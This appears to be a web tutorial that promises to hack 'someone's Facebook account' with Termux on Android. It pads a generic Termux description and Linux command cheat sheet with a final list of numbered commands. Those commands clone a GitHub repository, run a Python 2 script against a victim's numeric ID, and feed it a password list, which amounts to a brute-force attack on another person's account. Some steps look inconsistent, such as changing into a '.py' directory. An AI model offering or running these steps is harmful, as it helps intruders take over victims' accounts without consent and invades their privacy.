How To Hack Someone's Facebook Account using Termux

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Requirements for Facebook Hacking

1. Termux App
2. Commands
3. Victim's Id

Termux Introduction

Termux is an Android terminal emulator and Linux environment app that works directly with no rooting or setup required. A minimal base system is installed automatically - additional packages are available using the APT package manager.

 

Read the wiki to learn more

Secure. 

Access remote servers using the ssh client from OpenSSH. Termux combines standard packages with accurate terminal emulation in a beautiful open source solution.

Feature packed. 

Take your pick between Bash, fish or Zsh and nano, Emacs or Vim. Grep through your SMS inbox. Access API endpoints with curl and use rsync to store backups of your contact list on a remote server.

Customizable. 

Install what you want through the APT package management system known from Debian and Ubuntu GNU/Linux. Why not start with installing Git and syncing your dotfiles?

Explorable. 

Have you ever sat on a bus and wondered exactly which arguments tar accepts? Packages available in Termux are the same as those on Mac and Linux - install man pages on your phone and read them in one session while experimenting with them in another.

With batteries included. 

Can you imagine a more powerful yet elegant pocket calculator than a readline-powered Python console? Up-to-date versions of Perl, Python, Ruby and Node.js are all available.

Ready to scale up. 

Connect a Bluetooth keyboard and hook up your device to an external display if you need to - Termux supports keyboard shortcuts and has full mouse support.

Tinkerable. 

Develop by compiling C files with Clang and build your own projects with CMake and pkg-config. Both GDB and strace are available if you get stuck and need to debug.

What is Commands ?

The Linux command line, also known as the terminal, can be an intimidating place. But it can also be your most effective tool.

Text commands often work regardless of which Linux-based operating system you use, and the results are often faster than what a graphical desktop interface can offer.

The Linux Command Line Cheat Sheet

Terminal
clear	Clear the terminal screen.
history	Display recently used commands. You can also view these commands via the Up and Down keys.
!	Repeat a recently used command. You can use !n to repeat the n-th command in history or !-n to repeat what happened n commands ago.
man	Display the manual for a terminal program.
whatis	Display a brief description of a terminal program. A simpler alternative to the man command.
alias	Create a shortcut to a command or, when combined with the cd command, directory.
exit	Exit or close the terminal.
Navigation & File Management
cd	Change directory. Used to navigate between folders.
pwd	Display current directory.
cd	Change current directory.
ls	Display a list of files in the current directory.
cp	Makes a copy of a file. Defaults to the current directory unless you specify a specific one.
mv	Move a file from one directory to another.
rm	Remove a file or set of files.
stat	Display when a file was last accessed, modified, or changed.
touch	Change the date accessed or date modified time of a given file to right now.
rmdir	Delete a file or files.
mkdir	Create a directory. Defaults to the current directory, but you can also specify one.
rmdir	Delete a directory. Defaults to the current directory, but you can also specify one. The target directory must be completely empty.
rename	Change the name of a file or set of files.
find	Search a specific directory (or your entire PC) to find files that match designated criteria.
locate	Search for files or directories. Faster than the find command, but has fewer options.
grep	Search a specific file or set of files to see if a string of text exists and where.
mount	Attach a separate filesystem (such as an external hard drive or USB stick) to your system's main filesystem.
umount	Detach a separate filesystem from your system's main filesystem.
cat	Display the contents of a text file. Also works with multiple files.
chmod	Modify the read, write, and execute permissions of a file.
chown	Change the user or group that owns a file.
Users
su	Switch user. Unless you desigate a specific user, this command will attempt to sign in as the root user (which you can think of as the system administrator).
whoami	Displays the current user name.
id	Display current user and group.
passwd	Create or update a user's password.
System Administration
uname	Displays core system information such as kernel version, hardware, and operating system.
sudo	Enter before a command to perform the command as a system administrator. User must have administrator priveleges for this to work.
apt/dnf/pacman	Programs for installing software and updates. Which one to use depends on your Linux-based operating system. Each requires administrator rights and additional instructions, such as sudo apt install program-name .
jobs	Display the status of all current jobs. A job is a representation of a running process or group of processes.
bg	Send a job to the background.
fg	Send a job to the foreground.
kill	End a process according to its process ID (which you can get using the ps command.
killall	End all processes whose names match your query.
ps	Display a list of running processes. Defaults to processes started by the current user.
top	Displays a list of running processes, sorted by how much CPU each uses. Unlike ps, the command updates in real-time.
uptime	Displays time since last boot.
whereis	Finds the executable file for a program.
df	Displays how much disk space is used and free on your system.
free	Displays how much RAM is used and free on your system.
Network Management
ip	Displays you IP address, network interfaces, bandwidth usage, and more.
ping	Send or receive data from another computer on a network. Often used to test whether a network connection is established and the speed of that connection.
dig	Look up a domain's DNS address
wget	Download a file.
ssh	Secure Shell. Connect and login to a remote network location.
Miscellaneous
echo	Display a line of text. Often used in programs and scripts to relay information to users.
factor	Displays possible factors of a decimal number.
expr	Solve math equations.
look	Look up a word in the dictionary.

More Linux Terminal Commands

As comprehensive as this Linux commands cheat sheet may be, the list is only scratching the surface. There is far more you can do in the terminal than we could ever hope to fit on one page. Plus many commands change depending on your Linux-based operating system or require installing additional programs. The commands above are likely to work out-of-the-box on most Linux machines.

COMMANDS USE IN THIS METHOD

 1 = pkg update && pkg upgrade -y  
 2 = pkg install python  
 3 = pkg install python2  
 4 = pkg install git  
 5 = pip2 install --upgrade pip  
 6 = git clone https://github.com/venom-hun5/Targ3t.git  
 7 = cd Targ3t.py  
 8 = pip2 install requests  
 9 = pip2 install mechanize  
 10 = ls  
 11 = chmod 777 T4RG3T.py  
 12 = python2 T4RG3T.py  
 13 = paste victim id in numeric form  
 14 = (write password list's name) pk.txt  

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